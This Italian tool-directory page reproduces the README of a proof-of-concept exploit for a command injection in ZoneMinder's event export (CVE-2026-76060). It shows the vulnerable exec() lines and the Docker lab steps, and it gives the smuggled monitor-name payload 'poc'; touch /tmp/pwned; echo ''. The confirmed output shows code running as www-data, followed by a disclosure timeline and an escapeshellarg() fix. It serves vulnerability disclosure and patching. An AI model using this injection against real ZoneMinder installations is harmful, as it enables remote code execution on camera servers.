Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-76060_ZoneMinder_CommandInjection-PoC — Proof-of-concept exploit per CVE-2026-76060, un'iniezione di comandi del sistema operativo nell'esportazione degli eventi di ZoneMinder, che dimostra l'esecuzione remota di codice (RCE) tramite nomi di monitor appositamente predisposti. | Kitploit
Strumenti/GitHubGitHub/investigato/cve-2026-76060_zoneminder_commandinjection-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlRed Teaming
GitHubinvestigato/cve-2026-76060_zoneminder_commandinjection-poc

CVE-2026-76060_ZoneMinder_CommandInjection-PoC

Proof-of-concept exploit per CVE-2026-76060, un'iniezione di comandi del sistema operativo nell'esportazione degli eventi di ZoneMinder, che dimostra l'esecuzione remota di codice (RCE) tramite nomi di monitor appositamente predisposti.

Vedi Repository
16h 54m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

just wait and see

Proof of concept per una vulnerabilità di iniezione di comandi nel sistema operativo nella funzionalità di esportazione eventi di ZoneMinder (web/includes/download_functions.php).

I nomi dei monitor vengono interpolati direttamente nei comandi shell utilizzando un wrapping manuale con apici singoli invece di escapeshellarg(). Un attaccante che può creare un monitor può iniettare comandi shell arbitrari che vengono eseguiti come www-data/chiunque esegua il processo quando un qualsiasi utente attiva un'esportazione di eventi.

Cause sottostanti

  • Commit 44c5c3c del 4 ottobre 2023: è qui che è stato introdotto il file download_functions.php. Il messaggio del commit è "Introduce new download mode that concats event videos into 1 file per monitor." Il codice vulnerabile è presente qui, ma richiedeva che un amministratore creasse prima il monitor.
  • Commit 2d49e93 del 2 gennaio 2024 "Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones." È qui che le cose cambiano un po'. Ora un utente con solo può impostare il nome del monitor per l'attacco, e qualsiasi utente con permessi di esportazione può attivarlo.
Monitors=Create

Versioni interessate: >= 1.37.48 (include le modifiche alla migrazione SQL) e <= 1.38.1 Il ramo 1.36.x non è interessato.

Come funziona

Due utenti. Due livelli di privilegio. Una shell.

  • medpriv ha Monitors=Create o Monitors=Edit se esiste già un monitor.
  • lowpriv ha accesso appena sufficiente per attivare un'esportazione di eventi. Preme il grilletto senza saperlo.

Il record dell'evento non deve essere creato manualmente. ZoneMinder è un sistema di telecamere... crea automaticamente i record degli eventi mentre le telecamere sono attive. In una distribuzione reale il passaggio di configurazione è: crea il monitor, allontanati.

Due sink, una sorgente

Il nome del monitor non sanificato raggiunge due chiamate exec() separate:

Riga 126 | ffmpeg:

root@kitploit:~
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);

Riga 150 | tar/zip:

root@kitploit:~
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;

Entrambe raggiungibili dallo stesso nome di monitor sapientemente costruito, indipendentemente dal formato di esportazione.

Requisiti

  • Docker
  • Docker Compose

Utilizzo

root@kitploit:~
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# attendere che ZoneMinder completi l'inizializzazione (~30 secondi)
uv run poc.py

init.sql avvia il database con autenticazione abilitata e due utenti:

  • medpriv con diritti di creazione monitor (e, per motivi di tempo, anche diritti di creazione eventi, ma non è necessario in produzione)
  • lowpriv con solo accesso all'esportazione di eventi

uv run poc.py esegue l'intera catena:

  1. medpriv si autentica tramite API e crea un monitor chiamato poc'; touch /tmp/pwned; echo '
  2. medpriv crea un record di evento per velocizzare la demo (in produzione, ZoneMinder lo fa automaticamente)
  3. lowpriv si autentica e attiva un'esportazione di eventi
  4. Lo script controlla /tmp/pwned all'interno del container e stampa il risultato

Output atteso:

root@kitploit:~
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1

Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun  6 18:32 /tmp/pwned

CVSS

  • 3.1: 8.8 (Alto):AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • 4.0: 8.7 (Alto):AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

In ogni caso, come minimo escapeshellarg() non costa nulla.

Divulgazione

  • 03/08/2026: Segnalato tramite l'email di contatto per la sicurezza di ZoneMinder
  • 03/09/2026: Corretto nel commit b3a7c05
  • 06/08/2026: Divulgazione pubblica

[!NOTE] Corretto entro 12 ore dalla segnalazione. Nessun riconoscimento da parte del manutentore che si tratti di un problema di sicurezza. Non sono d'accordo Aggiornato 27/08/26 - Il manutentore ha riconosciuto la segnalazione ed è stato emesso un CVE.

Fix

Applicare escapeshellarg() in entrambi i punti di iniezione come minimo:

root@kitploit:~
// Riga 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';

// Riga 150
$command .= ' '.escapeshellarg($mergedFileName);

Le righe 116 e 211 in generateFileList() hanno lo stesso schema.


Scoperto da (@investigato)
Analisi completa: scriptkittens.com

Scarica lo strumento